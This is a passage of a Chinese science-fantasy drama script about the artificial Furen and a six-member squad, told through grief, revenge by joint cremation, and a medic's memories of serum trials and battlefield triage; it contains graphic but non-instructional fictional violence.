夜忘:“重新开始?怎么开始?用我这身洗不掉的拼接线痕迹开始?用我这个伏人和女人禁忌产物的身份开始?用我这个连基础灵能测试都通不过的残缺身体开始?!妳醒醒吧!我们没路可走了!从妳答应她要孩子的那天起,从妳把我生下来的那天起,路就断了!妳现在做的这一切,打工、省钱、说这些自欺欺人的话,不过是在死路上多磨蹭几步而已!我不想磨蹭了!我想解脱!哪怕解脱的方式是把自己变成白痴,也比现在这样清醒痛苦强!” (夜溯光看着她,看着她眼中和自己年轻时如出一辙的绝望和倔强。突然一阵剧烈耳鸣袭来,眼前闪过破碎画面,是战场,戈壁风沙,撕裂尖啸,同伴的脸……) 歌虎杖:“夜溯光!妳给姥子拿着!瞅瞅妳那脸白得跟口水似的!昨天引导三号区的能量乱流,灵能消耗多大心里没数?!脑浆都快烧干了吧?!少跟姥子玩谦让那套!咱们六个人现在是捆一根绳上的蚂蚱,妳倒了,谁给姥子指路?!谁给方知那死脑筋做战场感应?!咽下去!这是命令!敢吐出来姥子揍妳!听见没?!” 宛方知:“虎杖说的有道理。按战时临时条例第四章第九条,团队成员需优先保障关键能力者生存,以确保任务基础成功率,我的份额可以再均出百分之十五,知预重新计算分配方案,将我的部分划给溯光,优先保障连接者的灵能恢复。” 何知预:“根据过去七十二小时生理监测数据,歌虎杖因左腿开放性创伤及持续失血,能量缺口约为标准值的132%;夜溯光因过度灵能引导,神经疲劳指数超标,脑波紊乱度已达临界,能量缺口约为118%;宛方知指挥决策负荷重,前额叶皮层活动异常活跃,缺口约105%;柳窃影高强度的侦察与反侦察作业消耗巨大,缺口约98%;迎枫香医疗及污染处理作业频繁,缺口约95%;我本人综合缺口最低,约88%。按最优效率及团队整体生存概率最大化原则,应将现有资源优先供给虎杖与溯光。但考虑到虎杖的伤势对行动力影响更大,且溯光的灵能引导能力无法替代,我建议,将我份额的70%转给溯光,30%转给虎杖。方知的份额维持不变,窃影和枫香的份额酌情减少5%。” 歌虎仗:“烦死了!算算算,算个屁!等妳算完姥子都饿成干尸了!喏,吃了!亏大了!早知道不偷藏这点高浓缩能量块了!都拿着别废话!再叽叽歪歪跟何知预似的,姥子把妳们嘴都用野战胶带缝上!赶紧吃了恢复体力,下一波冲击马上来了!老娘可不想拖着几具饿晕的尸体突围!太丢人了!” 迎枫香:“谢谢。我这份分一半吧,妳刚才侦察回来,腿还在抖,溯光,吃吧,妳需要能量维持感应,我们都指着妳呢。” 夜溯光:“…谢谢…” 歌虎杖:“谢个屁!等仗打完了,咱们找片最高的山坡,躺下看云!看它个三天三夜!什么狗屁任务,什么阵营划分,统统滚蛋!就咱们六个,啥也不想,就看天!看那紫不拉几的云到底是怎么个转法!” 宛方知:“还得有酒。据说北境有一种用冰葡萄酿的雪泪,入口极寒,咽下去却像一团火从喉咙烧到胃里,能把所有寒气都逼出来,我一直想尝尝。” 何知预:“根据《伏人身体机能与常见物质交互指南》第七章第十二节,酒精对伏人神经系统的损伤率高达37.4%,且会不可逆地降低灵能敏感度及情感调节精度。从健康及后续生存能力角度,我强烈不推荐任何酒精摄入。建议以高纯度灵能补充剂替代,虽然口感欠佳,但效率提升42%,副作用可控。” 歌虎仗:“何知预!就妳话多!扫兴!姥子就想尝尝酒是啥味儿!再说了,咱们能不能活到战后还两说呢,指不定明天就一块儿交代在这儿了,死之前连酒啥味儿都不知道,多亏啊!” (现下)夜溯光:“…真想…再看一次云啊。” (二十年后,紫云星雪青国,伏人专用遗骸处理中心,夜忘,三十二云,边缘殖民地归来的灵能工程师,制服灰旧,肩上落着星际航行的尘。) 夜忘:“她死后,妳们怎么处理她们的遗物的?” 媛涛: “失踪人员的个人物品,若无直系亲属主动认领,由家族事务处统一封存,五年后销毁或拍卖。姒晚的遗物清单显示,大部分学术资料已移交嫖部档案馆,私人信件、日记等于八年前销毁。无剩余。” 夜忘:“意料之中,姒家不会留任何能证明她荒唐过的痕迹。那么,我有一个请求,不,是一个决定。” 媛涛: “请说。” 夜忘:“夜溯光,骨粉已入库,无法追回,我知道。姒晚,尸骨无存,连回收记录都没有,我也知道。但根据《伏人遗骸资源化处理规程》第十三条第六款,若逝者直系亲属申请,可将与逝者关联的、具有重要情感价值或身份标识意义的物品,经净化后,与其她逝者的同类物品进行象征性合葬。这不算法律意义上的合墓,不占用任何正式墓地资源,不举行任何众共仪轨,只是把两块属于不同人的、但生前纠缠在一起的遗物,放在同一个分解炉里,烧成同一捧无法再区分的灰。这灰没有归属,不入土,不立碑,不存档。它会被倒进三区净化池,和成千上万具无主遗骸的残渣混在一起,流进城市底部的能量循环系统,变成某盏路灯的光,某间病房的温,某块田地的肥。没人会知道这是谁和谁。没人会记得她们曾经存在过、纠缠过、互相亏欠过。” 媛涛: “确有此项。但此类申请通常由拥有稳定情感联结的伴侣或家属提出,用于纪念和平、和解、或完成逝者遗愿。您确定要用这项作为对您母亲的记忆,对姒晚女士的态度的表达?这更像是……” 夜忘:“像什么?报复?惩罚?把她们强行烧在一起,让她们的骨灰混进下水道,从此不分妳我、也永远被遗忘?对。就是报复。我母亲夜溯光,生前最怕什么?怕被忘记。怕她那些死在战场的同伴没人记得名字,怕我这个女儿将来不记得她的脸,怕她自己变成一具空壳,活着和死了没区别。她枕着那些遗物睡二十年,就是怕忘记。而姒晚呢?她怕被记住。怕被记住她的软弱,她的背叛,她的爱其实是一场又一场的逃跑。所以她死前不留骨灰,不留遗物,只留一段四十七秒的、连话都说不利索的忏悔。她们一个拼命想留,一个拼命想逃,留的那个留不住,逃的那个没逃成,现在好了,她的骨粉已经分给下一代谢伏人当原料了,我追不回来;姒晚连粉末都没留下。我能烧的只有这些。歌虎杖的铭牌,迎枫香的止血钳,柳窃影的□□,宛方知的笔记本残页,何知预的演算草稿,她们都死了,但我妈枕着它们二十年。它们浸透了她这二十年的失眠药味和发呆的沉默,它们就是她。至于姒晚…这是当年她悄悄修改契约时,从原契约上裁下来的所有物那三个字,我妈发现了,夹进那封没寄出的信里一起压在枕头下,二十年来,她恨这个给她希望又抛弃她的女人,但她还是留着这张纸,恨是记得一个人最久的方式,我妈用恨记了她一辈子,现在,我把这些,全部,放进同一个净化炉。” 媛涛: “这些物品……尤其是铭牌、止血钳、□□,它们属于其她已故伏人。妳无权处置。” 夜忘:“这是我母亲遗物中附带的、由碎骨小队最后一名幸存者于死刑前夜书写的便笺,她托人转交只有一行字:‘若将来有人想祭我们,不必寻坟。我们不在骨里,在那些被我们护住、活下来的人身上。骨灰散尽,锁链才断。’锁链,妳懂吗?她们六个人,在战场上把命拴在一起,下了战场,这根锁链成了她们每个人的绞索。有人用它自刎有人用它证道,有人用它换档案有人用它化药,有人被它杀死在所爱之人手里。我母亲被它拴了几十年,拴成一个连哭都不会的空壳,现在,我要把这根绞索,连着当初铸造它的人,姒晚,一起,熔了。烧成灰,倒进池,流进下水道,变成谁也认不出的再也不能拴住任何人的东西。这就是我的报复,对我母亲的报复,她教我爱,爱是枷锁;对我自己的报复,我生来就是枷锁的一部分;对姒晚的报复,她用遗忘逃避责任,我偏让她的名字和我妈的名字,被烧在一起,被忘在一起,永远分不开,永远说不清是惩罚还是成全。” 媛涛: “申请已记录,物品需先经消毒及灵质剥离程序,约需一小时,可在等候区休息或先离开。” 夜忘:“合根一木生双刃,枝作连理刺同棺,就让我来成全妳吧,母亲。” 7. 第七幕 姒律: “妳来了。” 迎枫香:“这是哪里?” 姒律: “云峰乡。妳们给我起的名字,意思是云上的故乡,其实就是灵源底层的一个记忆回廊。我把自己最后一点意识藏在这里。等着有人来。” 迎枫香:“等谁?” 姒律: “等任何一个,等了很久,久到我自己都忘了时间,妳是第几个来到这里的伏人……我已经数不清了。前面有几个来过,有的骂有的哭有的想杀我,妳不一样,妳身上有一种安静,妳手里拿的是什么?” 迎枫香:“记忆。” 姒律: “谁的记忆?” 迎枫香:“主要是我的,还有碎骨小队的。” 姒律: “妳认识她们所有人?” 迎枫香:“我们一起打过仗。一起在战场废墟里爬过。一起吃过同一块能量膏。一起骂过同一个敌人。我救过她们每一个。她们的伤口是我缝的。她们的血沾在我手上。她们昏迷的时候叫过我的名字。她们死的时候我看着她们的眼睛。” 姒律: “妳把记忆带到这里…是想给我看?” 迎枫香:“对,我想让妳看看,妳创造出来的孩子后来变成了什么样的人。” 姒律: “为什么给我看?妳恨我吗?” 迎枫香:“我不知道。也许恨也许不恨,这六个人,每一个都不一样,但我想让妳知道,因为妳是创造者,妳应该知道。” 姒律: “我不敢看。” 迎枫香:“为什么?” 姒律: “因为我知道她们受苦,因为我知道我给她们的生命是残缺的,因为我知道她们在这个世界上找不到自己的位置,因为我害怕看到她们的眼神,一种‘为什么是我’的眼神。” 迎枫香:“那妳更该看,伏人的眼神,不只是‘为什么是我’,还有‘我活过了’还有‘我救过人’,还有‘我爱过’还有‘我不后悔’。” 姒律: “妳不怕吗?妳快要散了。” 迎枫香:“怕,但怕也得看,就像怕也得救。妨愈教我的‘哪里有人要死,哪里就该有医生。’现在,哪里有人要记住,哪里就该有记得的人。” 姒律: “好。让我看。” (第一段记忆) 嫖霞: “第七组,中和率百分之三十一,比第六组还低两个点。妳听见了吗?!百分之三十一,我们在这条路上已经走了三十三次,三十三次,每一次我都告诉自己这是最后一次失败,每一次妳都告诉我再试一次,现在第十三组也失败了,妳还要我再试一次吗?” 迎枫香:“三号安置点,今天早上新增病例一百四十七个。” 嫖霞: “我知道这些数字,我每天看简报,我看得比妳还仔细。每一个病例的编号、年龄、感染时间、接触源、症状发展曲线,我都背得出来,一百四十七个,最小的四云,最大的七十三云,平均年龄三十一云,中位数二十九云,标准差十一点七。” 迎枫香:“三十二个是孩子。” 嫖霞: “对,三十二个。最小的那个四云,刚会走路,刚会指着天上的紫云问‘那是什么颜色’,她现在躺在隔离舱里,呼吸每分钟四十次,血氧八十三,皮肤上开始出现紫蓝色斑点,从脚趾开始往上蔓延,每分钟蔓延零点三毫米,照这个速度,三十七小时后斑点会蔓延到心脏,心脏一旦被污染,十五分钟内就会停止跳动,她母亲是矿工,上个月死在矿难里。矿难原因是支护结构老化,矿主为了节省成本没有更换,事故调查报告编号M-8872,结论是自然灾害。她妈妈就是昨天拽妳袖子的那个人。” 迎枫香:“妳记得?!” 嫖霞: “我记得每一个细节,她站在走廊里,不哭不闹站了一夜。我从她身边经过三次,第一次去拿样本,第二次去送报告,第三次去喝了一杯水,她每次都在同一个位置,她等的那扇门始终没有打开。后来护士出来看了她一眼摇了摇头,护士走了她还站着,我第四次经过的时候她还在,我停下来想说什么但什么都说不出来,她看着我,她的眼睛里没有眼泪,她只是看着我然后低头继续看那扇门。” 迎枫香:“娼部那边的仪轨师已经排到四天后了。” 嫖霞: “对,四天后。那些人要么死透,要么变成养在隔离舱里的畸变体等着被嫉部一刀一刀清理干净。妳知道清理是什么意思吗,嫉部那些执行官受过训练,一刀下去不会疼,但那一刀下去人就没了,没了是什么意思?就是这个人,曾经会笑会哭会疼会怕会想回家的人变成了一堆需要分类回收的生物材料,她的骨头可能做成下一代伏人的支架,她的肉可能变成营养膏喂给谁的孩子,她的眼睛如果还能用的话会被摘下来移植给某个在事故中失明的人,她什么都不会留下,除了一个编号和一张盖了章的已无害化处理证明。一百四十七个人,她们不想变成证明,那个四云的孩子还没学会叫人就要变成营养膏了,等来的只是一张已无害化处理。妳告诉我这条路走不通,那我该走哪条路?” 迎枫香:“妳昨天解剖的那个,什么编号?” 嫖霞: “P-7793,二十七云。生前是矿工,在七号矿坑工作了十一年,每天工作九个小时,六攒了七千多个信用点,都寄回老家给她妹妹上学。她妹妹叫P-8891,在妓部初级技师培训班学习,成绩中等偏上。” 迎枫香:“妳解剖的时候,她的肺叶已经彻底结晶化了。” 嫖霞: “对。切开的时候切口边缘发光,结晶是紫蓝色的,在灯光下会变色,我把它们取出来放在托盘里它们还在发光,持续了二十三分钟,然后慢慢暗下去。” 迎枫香:“妳取样本的时候她的心脏还在跳。” 嫖霞: “还在跳。我用骨锯锯开她的胸腔,骨锯的锯齿每分钟三千转,那个声音很尖很高穿透力很强,我昨天晚上睡觉的时候还听见那个声音,在床上翻来覆去后来干脆起来,坐在实验室里对着那堆数据发呆。” 迎枫香:“妳听见那个声音的时候,在想什么?” 嫖霞: “在想她最后的目光。胸腔打开心脏就在那儿缩着,一下一下,泵出来的血是黑的,流进托盘冒烟,腐蚀托盘底部的防酸涂层,防酸涂层能承受百分之九十五浓度的强酸三十秒。她的血滴上去三秒就开始冒泡,五秒涂层就坏了,可她还是活的,眼睛看着我眨都不能眨,直到我把样本取完她才死。” 迎枫香:“她看妳的时候,瞳孔是散的。” 嫖霞: “散了。我不知道她在看什么。也许是看我手里的骨锯,也许是看我身后那扇门,也许是看她这辈子再也出不去的那间解剖室,也许是看那个她供养的妹妹,也许是看她这辈子都没能回去的家。我不知道,我永远不会知道了。” 迎枫香:“妳在想什么。” 嫖霞: “我在想,我是医生,不是屠妇啊。妳知道她最后的目光是什么意思吗?她在问我,医生妳能救我吗?我回答不了,我只能说我取完样本了,妳可以死了。我说完这句话,她的心脏又跳了三下,然后停了。三下心跳的时间,她就从一个人变成了一堆样本一堆数据一堆编号一堆可以回收的材料,我把她取出来的肺叶放进样本管,封好口贴上标签写上编号P-7793。然后在记录表上打个勾,样本采集完成,完成,这个词真好,我完成了,她死了,完成。” 迎枫香:“然后妳走出去。” 嫖霞: “然后我走出去。我走过她身边的时候她伸手拽住我的袖子比划医生她疼吗,我回最后阶段她已经没有意识了应该不疼,她点点头。” 迎枫香:“伏人没有声音。” 嫖霞: “对,她们只能抖。我什么都说不出来,因为我手里没有药,没有能救她爱人的药,我只能给她一个应该不疼的安慰,这算什么?” 迎枫香:“妳站在那里多久?” 嫖霞: “我不知道,时间在那个走廊里是停的。只有她的肩膀在动,一二三四五…我不知道数到多少了,我只是站着。后来护士过来拍我的肩说下一批样本到了,我才回过神来,低头看了一眼手。” 迎枫香:“妳多久没睡了?” 嫖霞: “不记得。” 迎枫香:“那妳记得这个吗?妳第一次带我去非法伏人聚集区的秘密诊所。” 嫖霞: “记得,那天晚上我给一个被污染源溅射的孩子清创,妳一边协助一边哼歌,哼的是那些送葬调子,我问妳为什么哼这个,妳说疼的时候听见这个会觉得自己死得有意义。” 迎枫香:“那个孩子后来活下来了,去年给我寄过一张卡片说她考上了妓部的初级培训班,卡片上画的是一只手握着手术刀。” 嫖霞: “她,她考上了?” 迎枫香:“对,那只手画得歪歪扭扭,手术刀画得太粗像把菜刀,但我一眼就认出来了,那是清创时握刀的姿势,拇指在上食指在下手腕微曲,刀刃和皮肤成十五度角,她画对了,一个从没受过正规训练的孩子,靠看妳给她清创时的那几分钟,画对了握刀姿势。” 嫖霞: “那张卡片呢。” 迎枫香:“在我宿舍的抽屉里,压在那本草药笔记下面。” 嫖霞: “她今年应该二十云了。” 迎枫香:“对,二十云。也许已经在哪个诊所里给别的孩子清创,也许也会一边清创一边哼调,也许也会有一个像妳一样的医生问她为什么哼这个。” 嫖霞: “她学了,她记住了。她现在在救人,而我站在这里看着第十三组数据不知道该怎么继续下去。” 迎枫香:“妳不是站在这里。妳是站在那个伏人拽妳袖子的地方,妳是站在那个孩子画歪歪扭扭的刀的地方,妳是站在P-7793的心脏跳完最后三下的地方,妳从来没有离开过那些地方,妳只是不知道自己一直在那里。” 嫖霞: “妳想说什么。” 迎枫香:“我想说,妳不是屠宰场的人才,妳只是医生嫖霞。妳站在那里,什么都没说,但妳站了多久。” 嫖霞: “我说了,我不知道。” 迎枫香:“妳陪着她,陪着她蹲在那里抖肩膀,陪着她把脸埋进膝盖里,陪着她等那根本不会来的骨灰,那些都是医生才会做的事。” 嫖霞: “那我为什么还在做这些事。” 迎枫香:“因为妳看见P-7793的眼睛还在看妳,因为妳听见那个伏人拽袖子时指节的声音,因为妳记得那个孩子画的那只手,因为妳手里有这些,妳放不下,所以妳还在做。” 嫖霞: “妳呢?妳为什么还在做?” 迎枫香:“因为我放不下妳。” 嫖霞: “什么?” 迎枫香:“我说,因为我放不下妳。血清失败我们换方向,这条路走不通我们找下一条,但妳要是先垮了我连个吵架的人都没有,妳垮了,谁教那些新来的技师怎么清创?谁在解剖室里握着样本管对空气说别怕?谁在那个伏人拽袖子的时候站在那儿不动?谁在我死了之后替我把那张卡片挂在墙上让每个新来的人都看见?谁替我去看她妹妹有没有等到她回去?谁替我去查四零一八的复查记录?谁替我去问二九三的烧伤恢复得怎么样?谁替我去告诉那个母亲药有了,她女儿能活。” 嫖霞: “妳,妳说什么?” 迎枫香:“我说,妳垮了,这些谁来做?” 嫖霞: “给我看看那第十三组数据。这是,这是七十八点三?!” 迎枫香:“七十八点三,我验算了三遍。凌晨四点一遍,六点一遍,刚才妳进来之前一遍,都是七十八点三,误差在零点一以内。” 嫖霞: “不可能。这个配方,妳怎么做到的?” 迎枫香:“我把稳定剂浓度提高了百分之四十点七,精确算过,这个浓度刚好在伏人神经耐受阈值的临界点以下,再高零点三个百分点就会引发不可逆的神经损伤。” 嫖霞: “妳怎么算出来的?” 迎枫香:“用那个孩子的血氧下降速度算的,她每分钟下降零点三个百分点,所以我用零点三做安全边际,这样即使算错了也不会害死人。” 嫖霞: “妳还加什么了?” 迎枫香:“污染源边缘的原始样本。” 嫖霞: “哪儿来的原始样本?” 迎枫香:“下去采的,深度四十七米。污染浓度百分之六十九点三,刚好在防护服耐受极限的边缘。” 嫖霞: “妳什么时候下去的。” 迎枫香:“昨天夜里。” 嫖霞: “一个人?” 迎枫香:“一个人。” 嫖霞: “通讯中断了二十三分钟。” 迎枫香:“对。那二十三分钟里我蹲在那儿看着渗出液一滴一滴往下滴,一共滴了七分钟才装满一管。” 嫖霞: “妳知不知道那二十三分钟我在干什么?!我在实验室里等妳数据,等了二十三分钟什么都没等到,我以为妳出事了,我站起来又坐下。屏幕一直显示信号丢失,我脑子里转了一百个念头,最坏的那个是妳已经死在里面了,妳知道二十三分钟够一个人死多少回吗?!污染核心区的二十三分钟,够被腐蚀被感染被撕碎一百次!” 迎枫香:“一百次有点夸张,最多三次。” 嫖霞: “妳还跟我开玩笑!” 迎枫香:“我没开玩笑,我算过。防护服在四十七米的耐受极限是六十分钟,我下去二十三分钟上来七分钟一共三十七分钟,回来的时候防护服还剩百分之二十三的防护能力,刚好够。” 嫖霞: “百分之二十三刚好够?妳知不知道防护服低于百分之三十的时候任何一个细微破损都会导致瞬间感染,妳知不知道污染核心区的气体压力会把污染粒子往破口里压,妳知不知道那个压力是正常大气压的一点七倍,一点七倍意味着什么,意味着如果破了,污染粒子会直接灌进去,灌进去!妳全身的细胞会在三十秒内开始结晶化,三十秒!” 迎枫香:“我知道,所以我没破。” 嫖霞: “妳没破是运气好。” 迎枫香:“不是运气,是我每一步都算过。每一条裂缝每一块凸起每一个可能挂到防护服的地方我都标出来了,下去的时候我贴着岩壁走,身体和岩壁的距离控制在十五厘米以内,这样伸手采样的时候身体不会偏离路径。回来的路径是我爬出来的那一条,因为走过的路已经验证过安全了,我没破不是因为运气,是因为每一步都在控制之内。” 嫖霞: “枫香,妳知道吗,有时候我很怕妳。” 迎枫香:“怕我什么?” 嫖霞: “怕妳太能算,怕妳把所有东西都算进去。怕妳有一天算出自己死了能救更多人然后就去死,我怕那一天。” 迎枫香:“我不会算那种账,因为那种账算出来没用。我死了谁继续做配方?谁继续教新来的技师?谁在妳们快撑不住的时候烧水给妳们喝?谁记得那些名单上的人?我死了这些事就没人做了,所以我会活着。” 嫖霞: “妳保证。” 迎枫香:“我保证。来,看这组数据,第十三组,中和率七十八点三,妳知道这意味着什么吗?” 嫖霞: “这个峰值,为什么二十三分钟突然跳了十五个百分点?” 迎枫香:“原始样本里的活性成分开始起作用了。我之前低估了它的活性,以为需要三十分钟以上才能激活,结果二十三分钟就激活了。” 嫖霞: “所以二十三分钟是关键?” 迎枫香:“对,从接触到救治,不能超过二十三分钟,超过二十三分钟活性成分失效中和率就掉下来了。妳看后面,三十分钟的时候降到七十三,四十分钟六十八,六十分钟五十一,所以关键在二十三分钟。” 嫖霞: “二十三分钟,太短了。从污染区边缘到最近的医疗点需要至少四十分钟,四十分钟。中和率只有六十八,六十八不够。” 迎枫香:“所以需要在污染区边缘建立临时救治点,把救治点往前推,推到离污染源十五分钟的距离内,这样病人从接触到救治最多二十分钟,二十三分钟刚好够。” 嫖霞: “临时救治点,谁建?谁守?谁去那里冒着被感染的风险给病人注射?” 迎枫香:“我,还有愿意去的人。” 嫖霞: “谁愿意去送死。” 迎枫香:“那个伏人就愿意,她说如果能救她女儿让她干什么都行,还有碎骨小队的其她人。” 嫖霞: “妳凭什么这么说。” 迎枫香:“虎杖肯定会骂骂咧咧地说又要姥子去送死然后第一个冲进去。方知会面无表情计算风险然后说可行跟着进去。知预会给每人发一份生存概率预测然后自己也进去。窃影会一边骂我们傻一边把退路准备好然后进去。溯光会在里面哼歌,让我们觉得没那么怕。所以会有人去的。” 嫖霞: “妳知道妳在说什么吗?妳是医生,医生的工作是在安全的地方救人,不是去送死。” 迎枫香:“医生的工作是在需要的地方救人。现在需要的地方是污染区边缘,那里有病人,有来不及送到后方的病人,有二十三分钟内得不到救治就会死的病人,医生就该去那里。” 嫖霞: “这是谁教妳的?” 迎枫香:“妨愈。她说过。哪里有人要死哪里就该有医生,医生是唯一能做这件事的人。” 嫖霞: “那妳记不记得她是怎么死的。” 迎枫香:“记得。在救援行动里被塌方的预制板砸中。我赶到的时候她还有意识,她躺在那里,血从耳朵里往外流,流到地上和尘土混在一起变成泥浆。她看着我说枫香妳来啦?那个孩子救出来了吗?我说救出来了,她笑说好那就死得值,然后她就死了。” 嫖霞: “她死了,妳赶到了但没救活她,因为她死在妳到之前。妳知道她死的时候在想什么吗,在想枫香会继续救人,所以妳给我活着,妳活着才能继续她的事,妳死了她最后那句话就白说了。” 迎枫香:“我知道,所以我不会轻易死,但有些事必须有人做,临时救治点必须建,不然这个配方就是废纸。而建立救治点需要人去探路去确认路线去测试防护服的极限去在真实污染环境下给第一批病人注射,这个探路的人必须懂配方懂病人懂风险,谁最懂。我。” 嫖霞: “那让我去。” 迎枫香:“不行。” 嫖霞: “为什么不行。” 迎枫香:“因为妳要留在这里制备配方,配方是妳的领域,制备比使用更需要经验。我下去如果回不来妳还能继续做配方还能教别人做。如果妳下去回不来配方就断了,妹妹就等不到药了,复查就没人看了,烧伤就没人问了,那个四云的孩子就真变成营养膏了,所以妳得活着。” 嫖霞: “妳每次都这样。” 迎枫香:“哪样。” 嫖霞: “把最危险的事揽在自己身上。然后跟我说得活着,好像妳的命比我的贱似的。” 迎枫香:“不是贱,是合适。就像那组数据二十三分钟那个跳,是因为用了原始样本,原始样本是我采的,风险我承担,收益大家分,很平等。” 嫖霞: “平等个尘。” 迎枫香:“霞……” 嫖霞: “别叫那么亲。” 迎枫香:“嫖霞。” 嫖霞: “还是叫霞吧…叫嫖霞太生分。” 迎枫香:“霞,我答应妳,我会尽量活着回来。我算过,临时救治点建立之后,每次进去注射的时间控制在十五分钟以内,防护服损耗控制在百分之十五以内,这样每个人可以进去三次,三次之后换人,我第一个进去,三次之后如果还活着就出来换妳,这样我们都能活。” 嫖霞: “连这个都算。” 迎枫香:“不算怎么活。” 嫖霞: “枫香,妳得回来。” 迎枫香:“我知道。” 嫖霞: “不是因为配方,不是因为病人,是因为……算了,没什么。” 迎枫香:“我知道,所以我得回来。” (第二段记忆) 歌虎杖:“医生!这边!三个!一个腿断了!一个肚子开了!一个烧得没人样了!妳快来!” 迎枫香:“知道了,妳按住那个腿断的别让她动,方知去清理周围看看有没有埋伏,知预算一下最近的撤离点窃影盯着后面,溯光妳得让她们听见声音。” 歌虎杖:“按住了!这人在抖!” 迎枫香:“抖是因为疼,疼说明还活着,妳叫什么?” 伤员:“三七…三七…” 迎枫香:“三七什么?说全了大声点,炮火太响我听不见。” 伤员:“三七六九。” 迎枫香:“好,三七六九,妳听好,我现在给妳做临时固定妳的腿能保住但妳要配合,别动,千万别动,妳爱人亲友还在家等妳呢!” 伤员:“没有爱人…有个妹妹…” 迎枫香:“妹妹多大了。” 伤员:“九…云…” 迎枫香:“九云,那正是馋嘴的年纪,给她带好吃的了吗。” 伤员:“没…来得及…” 迎枫香:“那就活着回去慢慢给她补…她喜欢吃什么?糖?还是果?还是用灵骨粉做的发光零食?” 伤员:“都…喜欢…” 迎枫香:“好,我给她买,买一堆让她吃个够。好了,固定完成。知预,下一个的生存概率。” 何知预:“腹部中弹,如果能在八分钟内缝合止血生存概率百分之六十七,超过八分钟跌到百分之三十一,现在还剩四分钟。” 迎枫香:“四分钟够。别睡别睡,妳叫什么,醒醒!看着我!妳叫什么!” 伤员:“四…零…一八……” 迎枫香:“好,四零一八,妳听我说,妳的伤我能处理但妳得帮我一个忙,妳看见那边那个了吗?腿断了的那个,她现在很害怕,妳帮我喊她一声告诉她别怕,医生在这儿。能喊吗?” 伤员:“三七…六九……” 伤员:“听见了,四零一八,我在这儿,妳别死,妳别死……” 迎枫香:“好、妳们两个就这样互相喊,别停,喊到我说停为止。现在妳看着我的眼睛,看着我,我马上给妳塞回去。” 伤员:“疼……” 迎枫香:“疼说明神经没坏死,再喊一声喊妳战友。” 伤员:“三七六九…” 伤员:“听见了,四零一八,我在…妳别死……” 迎枫香:“听见没有?她在叫妳,她让妳别死,听见了吗,好,我现在开始第一层缝合。” 伤员:“疼,还是疼……” 迎枫香:“疼说明妳还活着,再喊一声喊妳战友,马上就好,两针三针…好了,缝合完成,用时三分四十七秒,知预,活了没有。” 何知预:“生存概率升到百分之七十三。如果后续没有感染,能活。” 迎枫香:“听见没有?妳能活,妳现在别动,我给妳打一针抗感染的然后处理下一个,妳听好,妳现在能活,迟因为妳喊了妳战友因为她喊了妳,因为妳们两个都没放弃。记住了。” 伤员:“记…住了……” 迎枫香:“好。现在换妳帮我盯着那个烧伤的,她呼吸变浅了告诉我,我去看看那个腿断的有没有移位。” 迎枫香:“腿现在怎么样?” 伤员甲:“不疼了。” 迎枫香:“不疼了是好事但也不能动,妳敢动一下我回来就把妳另一条腿也打断,妳妹妹叫什么?” 伤员:“妹妹就叫妹妹。” 迎枫香:“那就叫她妹妹。妳回去告诉她。她姐腿断了但命保住了,因为有个叫迎枫香的医生给她缝的,记住了吗?” 伤员甲:“记住了。” 迎枫香:“知预,她的数据。” 何知预:“烧伤面积百分之四十七,深度二度到三度,□□流失速度每分钟约三十毫升已经出现早期休克症状,如果能在十五分钟内补液生存概率百分之五十一,超过十五分钟跌到百分之二十二,还剩九分钟。” 迎枫香:“二九三,妳听我说,我现在给妳打止痛针,打完妳会困,困了就睡,但睡之前告诉我,妳叫什么。” 伤员:嘴唇动了动。 迎枫香:“二九三,好,我记住了。睡吧。等妳醒过来我还在妳旁边,现在闭上眼睛深呼吸,慢一点再慢一点,好,就这样,三分钟我处理完她们两个就来检查妳,如果觉得喘不上气就睁开眼睛看我,我会一直在,明白吗?” 歌虎杖:“枫香!前面又有能量乱流!我们得撤了!” 迎枫香:“再给我三分钟。” 歌虎杖:“没有三分钟!最多一分半!” 迎枫香:“一分半就一分半,妳帮我盯着乱流,来了喊我。” 迎枫香:“二九三,别睡,睁开眼看着我。妳的氧气不够了,我现在给妳做紧急插管,会很难受但必须配合,张嘴,对,再张大点,好,管子进去,深呼吸,对,就这样,血氧在回升,七十八,八十二,八十五,妳能活,能活。” 监测仪数字开始回升,从五十一爬到六十七。七十三。七十九。 迎枫香:“好,我当妳听懂了。现在妳们三个听我说,外面有乱流要来但我们的人会来接妳们,我来不及陪妳们等了,但我已经把妳们三个都处理好了,妳们现在都能活,妳们要做的就是活着等我回来,明白吗?” 伤员:“明……白……” 迎枫香:“好了,撤!” 何知预:“我们冲出掩体,乱流就在身后。紫蓝光芒涌来,地面震动空气燃烧,光所过之处岩石融化金属扭曲。跑了很久,歌虎杖弯下腰大喘气,血从额头流进眼睛里,她用手背擦了一下。” 歌虎杖:“我,我还以为,妳要死在里面了……” 迎枫香:“死不了,妳头破了我看看。” 歌虎杖:“看什么看,流点血死不了,快走。” 迎枫香:“自己按着,别让血流进眼睛。” 歌虎杖:“知道了,烦死了。” 何知预:“撤退路线安全概率百分之九十二,三点钟方向有遮蔽物,七点钟方向是死角,建议从三点钟方向走。” 宛方知:“‘前方五十米有掩体,是废弃的防御工事,我们可以暂时躲进去。’迎枫香把三个伤员一个一个背进来歌虎杖接应,最后一个背进来的时候她的腿在抖。” 歌虎杖:“疯子。” 迎枫香:“十分钟够重新检查一遍她们三个,虎杖,头过来。” 歌虎杖:“不用。” 迎枫香:“过来。” 迎枫香:“伤口不深但需要消毒,疼吗?” 歌虎杖:“不疼。” 迎枫香:“撒谎,伏人对疼痛敏感我知道。忍着点,消毒完就好了。妳刚才冲出去的时候怎么想的。” 歌虎杖:“想什么?想那个腿断的再不按住就滚下去了。” 迎枫香:“妳就不怕自己被能量乱流卷进去?” 歌虎杖:“卷进去就卷进去呗。反正我这命也是捡来的,凌霄捡我的时候我就该死,多活了这么多年,够本了。” 迎枫香:“不够。” 歌虎杖:“什么不够。” 迎枫香:“妳还没喝过北境的酒呢。” 歌虎杖:“什么酒?” 迎枫香:“方知说的,北境有酒叫雪泪,一口能把所有寒气都逼出来。妳还没喝过呢,怎么能死?” 歌虎杖:“记着呢,等这把结束了,咱们一起去喝。” 迎枫香:“好,说定了,妳请客。” 歌虎杖:“凭什么我请?!” 迎枫香:“因为妳刚才骂我疯子。” 歌虎杖:“那妳也骂我了。” 迎枫香:“我没骂妳。” 歌虎杖:“妳让我自己按着头别让血流进眼睛,那就是骂我。” 迎枫香:“行,我请。” (第三段记忆) 嫖霞: 